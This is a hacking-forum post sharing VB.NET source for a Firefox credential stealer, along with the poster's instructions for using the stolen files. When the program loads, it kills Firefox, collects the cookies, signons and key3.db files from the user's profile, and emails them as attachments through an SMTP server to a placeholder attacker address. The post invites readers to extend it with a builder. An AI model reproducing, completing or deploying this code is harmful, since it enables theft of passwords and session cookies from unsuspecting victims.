• Earn real money by being active: Hello Guest, earn real money by simply being active on the forum — post quality content, get reactions, and help the community. Once you reach the minimum credit amount, you’ll be able to withdraw your balance directly. Learn how it works.

.NET [VB.NET- SRC] Cookies & password Recover Example

Status
Not open for further replies.

sQuo

~ KillmeMories ~
Shadow
User
Joined
Oct 16, 2011
Messages
5,851
Reputation
0
Reaction score
22,904
Points
688
Credits
0
‎13 Years of Service‎
24%
This Is SRC For Cookies & password Recover Example I Found It , But I Don't Test It Yet , So If You Want to Use The Source Code This Will Be At your own risk,

This will send you the cookies file , and 3 other files that contain the passwords and the encryption method !

you just have to put these files in firefox's directory ("C:\documents and settings\username\Application Data\Mozilla\Firefox\Profiles\profilename\")

But be careful cauz this will delete current passwords and cookies sotered on your PC !

I hope that you "complete" this program , add more function on it and a builder ,

Credit To : Tasoskiller

 




Code:
>[/b]Imports System.Net.Mail

Public Class Form1

   Dim signos_sqlite, cookie, signons_txt, key3 As String
   Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load

       Dim mail As New MailMessage, smtp As New SmtpClient
       With mail
           .From = New MailAddress("mail here")
           .To.Add(mail here)
           .Body = "cookie & password stealer example  by TasosKiller ( aka unsuspicious )"
           .Subject = "cookies"

       End With
       With smtp
           .Host = host here ( 4 example : "smtp.live.com")
           .Port = 25
           .EnableSsl = True
           .Credentials = New Net.NetworkCredential(mail here,password here)

       End With


       Dim dir1 As New IO.DirectoryInfo("C:\documents and settings\" & Environment.UserName & "\Application Data\Mozilla\Firefox\Profiles\")
       Dim dir As IO.DirectoryInfo
       Dim processss() As Process = Process.GetProcesses

       For i As Integer = 0 To processss.GetUpperBound(0)

           If processss(i).ProcessName = "firefox" Then

               processss(i).Kill()
           End If
       Next
       For Each dir In dir1.GetDirectories
           Dim file As IO.FileInfo
           For Each file In dir.GetFiles

               If file.Name.Contains("cookies") Then
                   cookie = file.FullName
               End If

               If file.Name.Contains("signons") And file.Extension = ".sqlite" Then
                   signos_sqlite = file.FullName

               End If

               If file.Name.Contains("signons") And file.Extension = ".txt" Then

                   signons_txt = file.FullName
               End If

               If file.Name.Contains("key3") And file.Extension = ".db" Then
                   key3 = file.FullName

               End If

           Next

       Next

       Dim att1, att2, att3, att4 As Attachment

       Try
           att1 = New Attachment(signons_txt)
       Catch
           Try
               Threading.Thread.Sleep(2000)
               att1 = New Attachment(signons_txt)
           Catch ex As Exception

           End Try
       End Try


       Try
           att2 = New Attachment(signos_sqlite)
       Catch
           Try
               Threading.Thread.Sleep(2000)
               att1 = New Attachment(signos_sqlite)
           Catch ex As Exception

           End Try
       End Try

       Try
           att3 = New Attachment(cookie)
       Catch
           Try
               Threading.Thread.Sleep(2000)
               att3 = New Attachment(cookie)

           Catch ex As Exception
           End Try

       End Try

       Try
           att4 = New Attachment(key3)
       Catch
           Try
               Threading.Thread.Sleep(2000)
               att4 = New Attachment(key3)
           Catch

           End Try
       End Try
       Try
           mail.Attachments.Add(att1)
           mail.Attachments.Add(att2)
           mail.Attachments.Add(att3)
           mail.Attachments.Add(att4)
           smtp.Send(mail)
       Catch
       End Try

   End Sub
End Class[b]



 
Status
Not open for further replies.
Back
Top